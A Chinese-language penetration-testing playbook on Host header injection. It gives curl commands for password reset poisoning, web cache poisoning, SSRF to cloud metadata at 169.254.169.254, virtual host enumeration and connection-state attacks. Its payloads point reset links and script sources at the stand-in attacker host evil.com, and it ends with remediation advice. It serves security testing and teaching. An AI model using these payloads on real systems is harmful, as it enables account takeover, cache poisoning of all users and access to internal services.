testing-for-host-header-injection

测试 Host 头部注入（Testing for Host Header Injection）

适用场景

• 测试密码重置功能是否存在通过 Host 操控窃取 Token 的风险
• 评估受 Host 头部值影响的 Web 缓存行为
• 测试虚拟主机路由和服务器端请求处理
• 对反向代理或负载均衡器后的应用进行渗透测试
• 通过 Host 头部操控评估 SSRF 潜在风险

前置条件

• Burp Suite（用于拦截和修改 Host 头部）
• 了解 HTTP Host 头部在虚拟主机和路由中的作用
• 熟悉替代 Host 头部（X-Forwarded-Host、X-Host、X-Original-URL）
• 用于接收中毒请求的攻击者控制域名
• Burp Collaborator 或 interact.sh（用于带外检测）
• 用于密码重置测试的多个测试账户

工作流程

步骤 1 — 测试基本 Host 头部注入

# 提供任意 Host 头部
curl -H "Host: evil.com" http://target.com/ -v
# 检查应用是否在响应中反射 evil.com

# 双重 Host 头部
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# 带端口注入的 Host 头部
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# 使用不同 Host 的绝对 URL
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# 检查是否可访问不同虚拟主机
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

步骤 2 — 测试密码重置中毒

# 使用修改过的 Host 头部触发密码重置
# 重置链接可能在 URL 中使用 Host 头部值
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "[email protected]"
# 若重置邮件包含：http://evil.com/reset?token=xxx
# 受害者点击链接时，攻击者将收到 Token

# 使用 X-Forwarded-Host 进行密码重置中毒
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# 重置 URL 中基于端口的注入
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:[email protected]" \
  -d "[email protected]"

# 测试各种转发头部
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "[email protected]"
  echo "已测试：$header"
done

步骤 3 — 通过 Host 头部测试 Web 缓存投毒

# 若缓存层使用 URL（不含 Host）作为缓存键：
# 使用修改过的 Host 头部投毒缓存
curl -H "Host: evil.com" http://target.com/ -v
# 若响应已被缓存且包含 evil.com 链接
# 后续所有用户将收到被投毒的内容

# 使用 X-Forwarded-Host 进行缓存投毒
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# 检查 X-Cache 头部，确认响应是否已被缓存

# 验证缓存投毒
curl http://target.com/login -v
# 若响应仍包含 evil.com，则缓存已被投毒

# 投毒缓存页面中的 JavaScript URL
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# 若页面加载：<script src="//evil.com/static/app.js">
# 攻击者可向所有用户提供恶意 JavaScript

步骤 4 — 通过 Host 头部测试 SSRF

# 后端可能使用 Host 头部发起内部请求
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# 通过 Host 头部访问云元数据
curl -H "Host: 169.254.169.254" http://target.com/

# 内部端口扫描
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - 端口 $port"
done

# 通过绝对 URL 实现 SSRF
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

步骤 5 — 测试虚拟主机枚举

# 枚举虚拟主机
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - 状态码：$status，大小：$size"
done

# 检查默认虚拟主机行为
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# 与合法主机响应进行对比

# 通过虚拟主机访问内部管理面板
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

步骤 6 — 测试连接状态攻击

# HTTP/1.1 连接复用攻击
# 先发送合法请求，然后在后续请求中注入 Host 头部
# 在 Burp Repeater 中使用"更新 Content-Length"和手动 Connection: keep-alive

# 在 Burp Repeater 中发送分组请求：
# 请求 1（合法）：
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# 请求 2（注入）：
# GET /admin HTTP/1.1
# Host: internal.target.com

# 结合 HTTP 请求走私测试
# 若前端验证 Host 但后端不验证：
# 走私带有修改过 Host 头部的请求

核心概念

概念	定义
Host 头部（Host Header）	HTTP 头部，指定请求的目标虚拟主机
密码重置中毒（Password Reset Poisoning）	注入 Host 使重置邮件包含攻击者控制的 URL
通过 Host 进行缓存投毒（Cache Poisoning via Host）	使用包含攻击者控制主机的响应投毒 CDN 缓存
虚拟主机路由（Virtual Host Routing）	Web 服务器使用 Host 头部将请求路由到不同应用
X-Forwarded-Host	代理设置的替代头部，可能覆盖 Host 头部
连接状态攻击（Connection State Attack）	利用持久连接发送具有不同 Host 值的请求
服务器端 Host 解析（Server-Side Host Resolution）	后端代码使用 Host 头部生成 URL 和重定向

工具与系统

工具	用途
Burp Suite	用于 Host 头部操控和分析的 HTTP 代理
Burp Collaborator	用于 Host 头部 SSRF 的带外检测
ffuf	使用自定义 Host 头部进行虚拟主机暴力枚举
gobuster vhost	虚拟主机枚举模式
Nuclei	基于模板的 Host 头部注入扫描
param-miner	用于发现未键控的 Host 相关头部的 Burp 扩展

常见场景

1. 密码重置 Token 窃取 — 在密码重置时投毒 Host 头部，使受害者点击指向攻击者服务器的链接，泄露重置 Token
2. Web 缓存投毒 — 注入 Host 头部以缓存包含攻击者控制 JavaScript URL 的响应，对所有用户实现存储型 XSS
3. 内部面板访问 — 通过虚拟主机操控枚举并访问内部管理面板
4. SSRF 访问云元数据 — 使用 Host 头部将服务器端请求重定向到云元数据端点
5. 路由绕过 — 通过操控 Host 将请求路由到未受保护的后端实例，从而绕过访问控制

输出格式

## Host 头部注入报告
- **目标**：http://target.com
- **反向代理**：Nginx
- **后端**：Apache/PHP

### 发现
| # | 技术 | 头部 | 影响 | 严重性 |
|---|-----------|--------|--------|----------|
| 1 | 密码重置中毒 | Host: evil.com | Token 窃取 | Critical |
| 2 | 缓存投毒 | X-Forwarded-Host: evil.com | 存储型 XSS | High |
| 3 | 虚拟主机访问 | Host: admin.target.com | 管理面板暴露 | High |
| 4 | SSRF | Host: 169.254.169.254 | 元数据访问 | Critical |

### 修复建议
- 将 Host 头部验证为预期值白名单
- 生成密码重置邮件中的 URL 时不使用 Host 头部
- 配置 Web 服务器拒绝包含无法识别的 Host 值的请求
- 在应用配置中设置绝对 URL，而非从 Host 派生